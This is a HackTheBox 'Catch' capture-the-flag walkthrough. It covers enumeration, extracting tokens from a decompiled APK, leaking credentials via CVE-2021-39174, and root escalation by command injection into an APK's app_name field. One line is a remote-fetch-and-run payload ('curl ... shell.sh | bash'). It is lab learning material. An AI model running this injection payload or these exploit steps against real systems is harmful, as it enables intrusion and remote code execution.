Post

HackTheBox - Catch


Description

Hello hackers, I hope you are doing well. We are doing Catch from HackTheBox.

Enumeration

nmap

We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Nmap scan report for 10.10.11.150                                                                                                                             
Host is up (0.35s latency).                                                                                                                                   
Not shown: 995 closed tcp ports (reset)                                                                                                                       
PORT     STATE SERVICE VERSION                                                                                                                                
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)                                                                           
| ssh-hostkey:                                                                                                                                                
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)                                                                                                               
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)                                                                                                              
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)                                                                                                            
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))                                                                                                         
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                                                  
|_http-title: Catch Global Systems                                                                                                                            
3000/tcp open  ppp?                                                                                                                                           
| fingerprint-strings:                                                                                                                                        
|   GenericLines, Help, RTSPRequest:                                                                                                                          
|     HTTP/1.1 400 Bad Request                                                                                                                                
|     Content-Type: text/plain; charset=utf-8                                                                                                                 
|     Connection: close                                                                                                                                       
|     Request                                                                                                                                                 
|   GetRequest:                                                                                                                                               
|     HTTP/1.0 200 OK                                                                                                                                         
|     Content-Type: text/html; charset=UTF-8                                                                                                                  
|     Set-Cookie: i_like_gitea=3c248d76017e8bac; Path=/; HttpOnly                                                                                             
|     Set-Cookie: _csrf=5lf8QPiadK137wkdwzjYc29XHng6MTY4NDQzMDA1NDI4NDk5NDczOA; Path=/; Expires=Fri, 19 May 2023 17:14:14 GMT; HttpOnly; SameSite=Lax
5000/tcp open  upnp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1 
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3AwfkRpjVeSu1RriN4u7F23klQgBFdHZnz.I4n9DK53m2WSU4ULxe5KzC7NaVbO7HUHFBIHSecepcs; Path=/; HttpOnly
8000/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Catch Global Systems
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.c
gi?new-service :

We found OpenSSH on port 80 and 4 websites on different ports (80, 3000, 5000, 8000)

Web

Let’s check port 80

The links doesn’t work in this page except for the download button that downloads an apk file.

Let’s go to port 3000

It’s gitea version 1.14.1, we find user root by there are no repos.

Clicking on API we get a blank page, and after we click on return to Gitea we go to gitea.catch.htb. Let’s add the domain to /etc/hosts

No if we clicked again on API we get something.

Let’s navigate to port 5000

It’s a login page for let's chat

Now let’s go to port 8000.

This is cachet, and searching for it on google i find this article that showcases multiple exploits in it.

One of the exploits i tried was this one and it tries to grab the admin’s password hash from the database using an unauthenticated sql injection with time delay, didn’t have luck with that because every time it gets some wrong characters.

APk

I tried avoiding the apk download until i remembered that i can decompile it and maybe get something from it.

The tool i used to decompile is apktool

1
2
3
4
5
6
7
8
9
10
11
12
$ apktool d catchv1.0.apk
I: Using Apktool 2.5.0-dirty on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/sirius/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

We get a directory with the apk’s files.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌─[sirius@ParrotOS]─[~/CTF/HTB/Machines/catch]
└──╼ $ cd catchv1.0  
                                                                                                                                                              
┌─[sirius@ParrotOS]─[~/…/HTB/Machines/catch/catchv1.0]
└──╼ $ ls -al
total 8
drwxr-xr-x 1 sirius sirius   92 May 19 18:37 .
drwxr-xr-x 1 sirius sirius  156 May 19 18:37 ..
-rw-r--r-- 1 sirius sirius  980 May 19 18:37 AndroidManifest.xml
-rw-r--r-- 1 sirius sirius 2318 May 19 18:37 apktool.yml
drwxr-xr-x 1 sirius sirius   54 May 19 18:37 original
drwxr-xr-x 1 sirius sirius 3312 May 19 18:37 res
drwxr-xr-x 1 sirius sirius   36 May 19 18:37 smali

I used recursive grep to search for password but didn’t get anything useful, then i searched for token and find the following.

1
2
3
4
$ grep -Ri token ./                                                                                                                                      ./res/values/strings.xml:    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>                                        
./res/values/strings.xml:    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>                                                                                                                                                   
./res/values/strings.xml:    <string name="slack_token">xoxp-23984754863-2348975623103</string>                                                               
[...]                 

Found tree tokens, gitea_token, lets_chat_token and slack_token.

let’s chat

The gitea token doesn’t work so we’ll try with let's chat.

We can refer to api docs of let’s chat and see what we can get.

First, we use the token by adding the following header:

1
Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==

After reading the docs we find there rooms that we can see with a get request to /rooms

Let’s use burp for this

We found three rooms. We can also read messages in the rooms with a get request to /rooms/:room/messages where :room is the id of the room

In one of the rooms we find a message with some credentials.

We can use those to login to cachet on port 8000

We can see the version is 2.4.0-dev

Foothold

One other vulnerability mentioned in the article is CVE-2021-39174 - Configuration Leak, and we can find an exploit right here

Let’s run the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python exploit.py -u http://catch.htb:8000 -n john -p 'E}V!mywu_69T4C}W'                                                                           1 ⨯
[+] Getting CSRF token
[+] CSRF token: UWVzu0754T2vYNT1li3TEgMAddQWMV2TkmwCZLWC
[+] Logging in as user 'john'
[+] Successfully logged in
[+] Getting current field values
[+] Sending payload
[+] Extracted the following values:
- APP_KEY               = base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA=
- DB_DRIVER             = mysql
- DB_HOST               = localhost
- DB_DATABASE           = cachet
- DB_USERNAME           = will
- DB_PASSWORD           = s2#4Fg0_%3!
[+] Unsetting payload variable
[+] Exiting

We got database credentials, let’s see if the user will uses the same password for his account.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh will@catch.htb                                           
will@catch.htb's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)
                                       
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 19 May 2023 06:01:48 PM UTC

  System load:                      0.68
  Usage of /:                       71.6% of 16.61GB
  Memory usage:                     84% 
  Swap usage:                       27% 
  Processes:                        442 
  Users logged in:                  0
  IPv4 address for br-535b7cf3a728: 172.18.0.1
  IPv4 address for br-fe1b5695b604: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.150
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:5923

will@catch:~$ id
uid=1000(will) gid=1000(will) groups=1000(will)

Great! We got a shell.

Privilege Escalation

Let’s run pspy64 and see what we find:

There is a script called verify.sh that’s running regularly, let’s check it out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[snip]
####################                                                                                                                                 [55/1445]
# Basic App Checks #                                                           
####################                
                                                                                                                                                              
app_check() {                                                                  
        APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
        echo $APP_NAME                                                         
        if [[ $APP_NAME == *"Catch"* ]]; then                                  
                echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
        else                          
                echo "[!] App doesn't belong to Catch Global"                  
                cleanup                                                        
                exit                                                           
        fi                                                                     
}                                     
[snip]

The part that’s useful to us is the Basic App Checks which is vulnerable to command injection.

The script goes to /opt/mnd/apk_bin and checks for .apk files, if it finds one it extract it and checks the app_name in /res/value/strings.xml, the vulnerability is in this line echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}', and if we can control the APP_NAME variable we can inject command.

Using the apk file we got earlier, we go to the strings.xml file and we add a command in the app_name

1
2
$ grep -Ri app_name catchv1.0/res/values/strings.xml
    <string name="app_name">Catch;curl 10.10.17.90/shell.sh | bash;</string>

The command I added requests a reverse shell from my web server and pip to bash.

Now we compile the application.

1
2
3
4
5
6
7
8
$ java -jar apktool_2.7.0.jar b catchv1.0 -o hacked.apk
I: Using Apktool 2.7.0
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk into: hacked.apk

I got an error using the apktool binary on my system, and the solution was using a newer version

Now we upload the file to the target and wait for it to get inspected.


Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

This post is licensed under CC BY 4.0 by the author.